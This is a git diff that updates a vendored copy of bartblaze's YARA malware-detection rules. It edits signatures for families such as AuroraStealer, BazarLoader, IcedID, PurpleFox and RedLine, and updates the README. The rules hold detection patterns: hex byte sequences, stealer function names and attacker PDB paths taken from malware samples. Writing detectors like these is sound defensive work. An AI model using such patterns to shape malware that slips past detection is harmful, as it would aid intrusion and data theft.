+		$seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 }
+		$seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc }
+
+	condition:
+		filesize >10KB and filesize <10000KB and all of them
 }
diff --git a/third_party/yara/bartblaze/APT/NikiHTTP.yar b/third_party/yara/bartblaze/APT/NikiHTTP.yar
index bf3d70503..675b305e5 100644
--- a/third_party/yara/bartblaze/APT/NikiHTTP.yar
+++ b/third_party/yara/bartblaze/APT/NikiHTTP.yar
@@ -16,14 +16,14 @@ strings:
 	$str_3 = "%s:info" ascii wide
 	
 	//D:\02.data\03.atk-tools\engine\niki\httpSpy\..\bin\httpSpy.pdb
-	$pdb_full = "\\02.data\\03.atk-tools\\" ascii wide
-	$pdb_httpspy = "\\bin\\httpSpy.pdb" ascii wide
+	$pdb_full = "\\02.data\\03.atk-tools\\" ascii
+	$pdb_httpspy = "\\bin\\httpSpy.pdb" ascii
 		
-	$code = { 0f 57 c0 4? 89 7? ?? 33 c0 c7 4? ?? 68 00 00 00 0f 11 4? ?? c7 4? ?? 01 00 00 00 66 4? 89 7? 00 0f 11 4? ?? 4? 89 4? ?? 0f 11 4? ?? c7 44 ?? ?? 53 71 80 60 0f 11 4? ?? c7 44 ?? ?? 71 79 7c 5c 0f 11 4? ?? c7 44 ?? ?? 6d 80 74 63 0f 11 4? ?? 88 44 ?? ?? 0f 11 4? ?? 0f 1f 44 00 00 }
+	$code = {0f 57 c0 4? 89 7? ?? 33 c0 c7 4? ?? 68 00 00 00 0f 11 4? ?? c7 4? ?? 01 00 00 00 66 4? 89 7? 00 0f 11 4? ?? 4? 89 4? ?? 0f 11 4? ?? c7 44 ?? ?? 53 71 80 60 0f 11 4? ?? c7 44 ?? ?? 71 79 7c 5c 0f 11 4? ?? c7 44 ?? ?? 6d 80 74 63 0f 11 4? ?? 88 44 ?? ?? 0f 11 4? ?? 0f 1f 44 00 00}
 
 condition:
 	uint16(0) == 0x5A4D and (
 	$cmd or (2 of ($str_*)) or
 	any of ($pdb_*) or $code
 	)
-}
\ No newline at end of file
+}
diff --git a/third_party/yara/bartblaze/README.md b/third_party/yara/bartblaze/README.md
index 47d60af7f..8c01f4e5b 100644
--- a/third_party/yara/bartblaze/README.md
+++ b/third_party/yara/bartblaze/README.md
@@ -13,7 +13,9 @@ You can use them in your detection systems. For example, [CAPE sandbox](https://
 All rules are TLP:White, so you can use and distribute them freely. Please retain the meta. 
 
 ## Help! A generic rule is hitting my software!
-If one of the rules in the [generic](https://github.com/bartblaze/Yara-rules/tree/master/rules/generic) rules section hits on your software: this is not a false positive. It is simply an objective fact that, for example, your software has been compiled or wrapped using AutoIT. It equally does **not** mean your software is malicious. The Yara rules presented here do **not** influence antivirus detection results in any manner. If your software is detected by an antivirus or antimalware company, you need to contact them directly.
+If one of the rules in the [generic](https://github.com/bartblaze/Yara-rules/tree/master/rules/generic) rules section hits on your software: this is not a false positive. It is simply an objective fact that, for example, your software has been compiled or wrapped using AutoIT. It equally does **not** mean your software is malicious. 
+
+The Yara rules presented here do **not** influence antivirus detection results in any manner. If your software is detected by an antivirus or antimalware company, **you need to contact them directly**.
 
 Note the `meta` section also mentions `category = "INFO"`, in which case it is a purely generic or informational rule.
 
@@ -21,17 +23,18 @@ Note the `meta` section also mentions `category = "INFO"`, in which case it is a
 There's two workflows running on this Github repository:
 
 * [YARA-CI](https://yara-ci.cloud.virustotal.com/): runs automatically to detect signature errors, as well as false positives and false negatives.
-* [Package Yara rules](https://github.com/bartblaze/Yara-rules/blob/master/.github/workflows/yara.yml): allows download of a complete rules file (all Yara rules from this repo in one file) for convenience from the Actions tab > Choose the last workflow run > Artifacts (see image below).
+* [Package Yara rules](https://github.com/bartblaze/Yara-rules/blob/master/.github/workflows/yara.yml): allows download of a complete rules file (all Yara rules from this repo in one file) for convenience from the Actions tab > Choose the last workflow run > Artifacts. Scroll down and you will be able to download, but you must be logged in to Github:
+
+![image](https://github.com/user-attachments/assets/904aa2af-8b91-4c01-97b4-db24f9659005)
 
-![image](https://user-images.githubusercontent.com/3075118/113322817-731feb00-9315-11eb-86ab-94f133f07038.png)
 
 [![Package Yara Rules](https://github.com/bartblaze/Yara-rules/actions/workflows/yara.yml/badge.svg)](https://github.com/bartblaze/Yara-rules/actions/workflows/yara.yml)
 
 ## Minimum Yara version needed?
-v3.3.0 is minimally needed, as some rules may require a specific module. Note that it's recommended to always use the latest Yara version as found [here](https://github.com/VirusTotal/yara/releases).
+**v3.3.0** is minimally needed, as some rules may require a specific module. Note that it's recommended to always use the latest Yara version as found [here](https://github.com/VirusTotal/yara/releases). Yara 4.5.1, likely the last release to be available, works without issue.
 
 ## Do the rules work with Yara-X?
-[Yara-X](https://github.com/VirusTotal/yara-x), a rewrite of Yara in Rust, should have no difficulty running the rules in this repo. At time of writing, Yara-X v0.4.0 works fine with the rules presented here.
+[Yara-X](https://github.com/VirusTotal/yara-x), a rewrite of Yara in Rust, should have no difficulty running the rules in this repo. At time of writing, Yara-X v0.6.0 works fine with the rules presented here.
 
 ## Feedback?
 If you spot an issue or improvement with one of the rules, feel free to submit a PR or open an Issue.
diff --git a/third_party/yara/bartblaze/RELEASE b/third_party/yara/bartblaze/RELEASE
index 765af70a6..54f9726bc 100644
--- a/third_party/yara/bartblaze/RELEASE
+++ b/third_party/yara/bartblaze/RELEASE
@@ -1 +1 @@
-92af79549aaa3653dd226a5fb87449749b0d395f
+241d297937ae6f298c6b526657bb471321579634
diff --git a/third_party/yara/bartblaze/crimeware/AuroraStealer.yar b/third_party/yara/bartblaze/crimeware/AuroraStealer.yar
index 25fb659bf..e5825f5cc 100644
--- a/third_party/yara/bartblaze/crimeware/AuroraStealer.yar
+++ b/third_party/yara/bartblaze/crimeware/AuroraStealer.yar
@@ -5,7 +5,7 @@ meta:
 	fingerprint = "06f893451d74f7cc924b9988443338ed9d86d8afb3b1facdfee040bce0c45289"
 	version = "1.0"
 	first_imported = "2023-05-26"
-	last_modified = "2023-05-26"
+	last_modified = "2024-08-14"
 	status = "RELEASED"
 	sharing = "TLP:WHITE"
 	source = "BARTBLAZE"
@@ -16,7 +16,6 @@ meta:
 	reference = " https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora_stealer"
   
 strings:
-	$ = "main.(*DATA_BLOB).ToByteArray" ascii wide
 	$ = "main.base64Decode" ascii wide
 	$ = "main.base64Encode" ascii wide
 	$ = "main.Capture" ascii wide
@@ -38,15 +37,11 @@ strings:
 	$ = "main.GetOS" ascii wide
 	$ = "main.Grab" ascii wide
 	$ = "main.MachineID" ascii wide
-	$ = "main.NewBlob" ascii wide
 	$ = "main.NumActiveDisplays" ascii wide
-	$ = "main.PathTrans" ascii wide
-	$ = "main.RandStringBytes" ascii wide
 	$ = "main.SendToServer_NEW" ascii wide
 	$ = "main.SetUsermame" ascii wide
 	$ = "main.sysTotalMemory" ascii wide
 	$ = "main.xDecrypt" ascii wide
-	$ = "main.Zip" ascii wide
 	$ = "type..eq.main.Browser_G" ascii wide
 	$ = "type..eq.main.Crypto_G" ascii wide
 	$ = "type..eq.main.DATA_BLOB" ascii wide
diff --git a/third_party/yara/bartblaze/crimeware/BazarBackdoor.yar b/third_party/yara/bartblaze/crimeware/BazarBackdoor.yar
index e48c70adc..b738e11d9 100644
--- a/third_party/yara/bartblaze/crimeware/BazarBackdoor.yar
+++ b/third_party/yara/bartblaze/crimeware/BazarBackdoor.yar
@@ -20,9 +20,9 @@ rule BazarBackdoor
 
 
     strings:
-        $ = { c7 44 ?? ?? 6d 73 67 3d c7 44 ?? ?? 6e 6f 20 66 c7 44 ?? ?? 69 6c 65 00  }
-        $ = { c7 44 ?? ?? 43 4e 20 3d 4? 8b f1 4? 89 b? ?? ?? ?? ?? 33 d2 4? 89 b? ?? ?? ?? ?? 4? 8d ?? ?4 60 4? 89 b? ?? ?? ?? ?? 4? 8d 7f 10 c7 44 ?? ?? 20 6c 6f 63 4? 8b c7 c7 44 ?? ?? 61 6c 68 6f 4? 8b df 66 c7 44 ?? ?? 73 74  }
+        $ = {c7 44 ?? ?? 6d 73 67 3d c7 44 ?? ?? 6e 6f 20 66 c7 44 ?? ?? 69 6c 65 00}
+        $ = {c7 44 ?? ?? 43 4e 20 3d 4? 8b f1 4? 89 b? ?? ?? ?? ?? 33 d2 4? 89 b? ?? ?? ?? ?? 4? 8d ?? ?4 60 4? 89 b? ?? ?? ?? ?? 4? 8d 7f 10 c7 44 ?? ?? 20 6c 6f 63 4? 8b c7 c7 44 ?? ?? 61 6c 68 6f 4? 8b df 66 c7 44 ?? ?? 73 74}
 
     condition:
         any of them
-}
\ No newline at end of file
+}
diff --git a/third_party/yara/bartblaze/crimeware/BazarLoader.yar b/third_party/yara/bartblaze/crimeware/BazarLoader.yar
index 8bfd6151c..5e5bb4056 100644
--- a/third_party/yara/bartblaze/crimeware/BazarLoader.yar
+++ b/third_party/yara/bartblaze/crimeware/BazarLoader.yar
@@ -19,14 +19,14 @@ rule BazarLoader
 
 
     strings:
-        $code = { 4? 89 05 69 8f 03 00 4? 85 c0 0f 84 e3 fe ff ff 4? 8b 05 01 e3 02 00 4? 89 85 e0 00 00 00 4? 8b 05 fb 
+        $code = {4? 89 05 69 8f 03 00 4? 85 c0 0f 84 e3 fe ff ff 4? 8b 05 01 e3 02 00 4? 89 85 e0 00 00 00 4? 8b 05 fb 
     e2 02 00 4? 89 85 e8 00 00 00 4? c7 85 d0 00 00 00 0f 00 00 00 4? 89 a5 c8 00 00 00 4? 88 a5 b8 00 00 00 4? 8d 
     44 ?4 40 4? 8d 15 77 e2 02 00 4? 8d 8d b8 00 00 00 e8 ca df ff ff 90 4? c7 45 58 0f 00 00 00 4? 89 65 50 4? 88 
     65 40 4? 8d 44 ?4 07 4? 8d 15 36 e2 02 00 4? 8d 4d 40 e8 a4 df ff ff 90 4? c7 45 08 0f 00 00 00 4? 89 65 00 4? 
-    88 65 f0 4? 8d 44 ?4 0b 4? 8d 15 00 e2 02 00 }
-        $pdb1 = "C:\\Users\\User\\Desktop\\2010\\14.4.20\\Test_64\\SEED\\Release\\SEED.pdb" ascii wide
-        $pdb2 = "D:\\projects\\source\\repos\\7\\bd7 v2\\Bin\\x64\\Release_nologs\\bd7_x64_release_nologs.pdb" ascii wide
+    88 65 f0 4? 8d 44 ?4 0b 4? 8d 15 00 e2 02 00}
+        $pdb1 = "C:\\Users\\User\\Desktop\\2010\\14.4.20\\Test_64\\SEED\\Release\\SEED.pdb" ascii
+        $pdb2 = "D:\\projects\\source\\repos\\7\\bd7 v2\\Bin\\x64\\Release_nologs\\bd7_x64_release_nologs.pdb" ascii
 
     condition:
         $code or any of ($pdb*)
-}
\ No newline at end of file
+}
diff --git a/third_party/yara/bartblaze/crimeware/BroEx.yar b/third_party/yara/bartblaze/crimeware/BroEx.yar
index 6f8e18fbf..a3893f10d 100644
--- a/third_party/yara/bartblaze/crimeware/BroEx.yar
+++ b/third_party/yara/bartblaze/crimeware/BroEx.yar
@@ -42,7 +42,7 @@ strings:
 	if (*(short *)param_2 != 0) {
 	pvVar1 = (void *)0xffffffffffffffff;
 	*/
-	$str_decode = { 4? 53 4? 83 ec 20 4? 33 c0 4? c7 41 18 07 00 00 00 4? 8b d9 4? 89 41 10 66 4? 89 01 66 4? 39 02 74 11 4? 83 c8 ff  }
+	$str_decode = {4? 53 4? 83 ec 20 4? 33 c0 4? c7 41 18 07 00 00 00 4? 8b d9 4? 89 41 10 66 4? 89 01 66 4? 39 02 74 11 4? 83 c8 ff}
 
 condition:
 	uint16(0) == 0x5a4d and ($pdb or 2 of ($mut*) or all of ($browser*) 
diff --git a/third_party/yara/bartblaze/crimeware/IcedID.yar b/third_party/yara/bartblaze/crimeware/IcedID.yar
index 04629ff8a..057724079 100644
--- a/third_party/yara/bartblaze/crimeware/IcedID.yar
+++ b/third_party/yara/bartblaze/crimeware/IcedID.yar
@@ -52,12 +52,12 @@ rule IcedID_core_loader
         mitre_att = "S0483"
 
     strings:
-        $code = { 4? 33 d2 4? 85 f6 0f 84 ?? ?? ?? ?? 4? 83 fe 04 0f 
+        $code = {4? 33 d2 4? 85 f6 0f 84 ?? ?? ?? ?? 4? 83 fe 04 0f 
     82 ?? ?? ?? ?? 4? 83 c6 fc 4? 89 74 ?? ?? 4? 85 db 75 ?? 4? 
     85 f6 0f 84 ?? ?? ?? ?? ff 15 ?? ?? ?? ?? 4? 8b c8 4? 8d 46 
     01 8d 53 08 ff 15 ?? ?? ?? ?? 4? 89 44 ?? ?? 4? 8b d8 4? 85 
-    c0 0f 84 ?? ?? ?? ?? 4? 8b b? ?? ?? ?? ?? 4? ba 01 00 00 00 }
+    c0 0f 84 ?? ?? ?? ?? 4? 8b b? ?? ?? ?? ?? 4? ba 01 00 00 00}
 
     condition:
         $code
-}
\ No newline at end of file
+}
diff --git a/third_party/yara/bartblaze/crimeware/PurpleFox.yar b/third_party/yara/bartblaze/crimeware/PurpleFox.yar
index 7676c7892..4cf02e649 100644
--- a/third_party/yara/bartblaze/crimeware/PurpleFox.yar
+++ b/third_party/yara/bartblaze/crimeware/PurpleFox.yar
@@ -17,7 +17,7 @@ rule PurpleFox_a
         malware_type = "BOT"
 
     strings:
-        $movetmp = { 4? 8d 4d 38 4? 8b 95 88 01 00 00 4? 8d 05 1f 01 00 00 e8 9a c8 fd ff 4? 8b 4d 38 e8 51 cc fd ff 4? 89 c1 4? 8d 55 48 e8 55 07 fe ff 4? 89 c3 4? 83 fb ff 74 74 8b 45 48 83 e0 10 83 f8 10 74 50 4? 8d 4d 30 4? 8d 55 74 4? c7 c0 04 01 00 00 4? 33 c9 e8 9a c6 fd ff 4? 8d 4d 40 4? 8b 95 88 01 00 00 4? 8b 45 30 e8 46 c8 fd ff 4? 8b 4d 40 e8 fd cb fd ff 4? 89 c1 4? 33 d2 e8 c2 09 fe ff 4? 8b 4d 40 e8 e9 cb fd ff 4? 89 c1 e8 a1 06 fe ff 4? 89 d9 4? 8d 55 48 e8 f5 06 fe ff 85 c0 75 95 4? 89 d9 e8 19 3d fe ff  }
+        $movetmp = {4? 8d 4d 38 4? 8b 95 88 01 00 00 4? 8d 05 1f 01 00 00 e8 9a c8 fd ff 4? 8b 4d 38 e8 51 cc fd ff 4? 89 c1 4? 8d 55 48 e8 55 07 fe ff 4? 89 c3 4? 83 fb ff 74 74 8b 45 48 83 e0 10 83 f8 10 74 50 4? 8d 4d 30 4? 8d 55 74 4? c7 c0 04 01 00 00 4? 33 c9 e8 9a c6 fd ff 4? 8d 4d 40 4? 8b 95 88 01 00 00 4? 8b 45 30 e8 46 c8 fd ff 4? 8b 4d 40 e8 fd cb fd ff 4? 89 c1 4? 33 d2 e8 c2 09 fe ff 4? 8b 4d 40 e8 e9 cb fd ff 4? 89 c1 e8 a1 06 fe ff 4? 89 d9 4? 8d 55 48 e8 f5 06 fe ff 85 c0 75 95 4? 89 d9 e8 19 3d fe ff}
 
     condition:
         all of them
diff --git a/third_party/yara/bartblaze/crimeware/RedLine.yar b/third_party/yara/bartblaze/crimeware/RedLine.yar
index f245c7323..479af9118 100644
--- a/third_party/yara/bartblaze/crimeware/RedLine.yar
+++ b/third_party/yara/bartblaze/crimeware/RedLine.yar
@@ -14,7 +14,7 @@ rule RedLine_a
         description = "Identifies RedLine stealer."
         category = "MALWARE"
         malware = "REDLINE"
-        malware = "INFOSTEALER"
+        malware_type = "INFOSTEALER"
 
     strings:
         $ = "Account" ascii wide
@@ -101,6 +101,8 @@ rule RedLine_b
         author = "@bartblaze"
         description = "Identifies RedLine stealer."
         category = "MALWARE"
+        malware = "REDLINE"
+        malware_type = "INFOSTEALER"
 
     strings:
         $ = "Account" ascii wide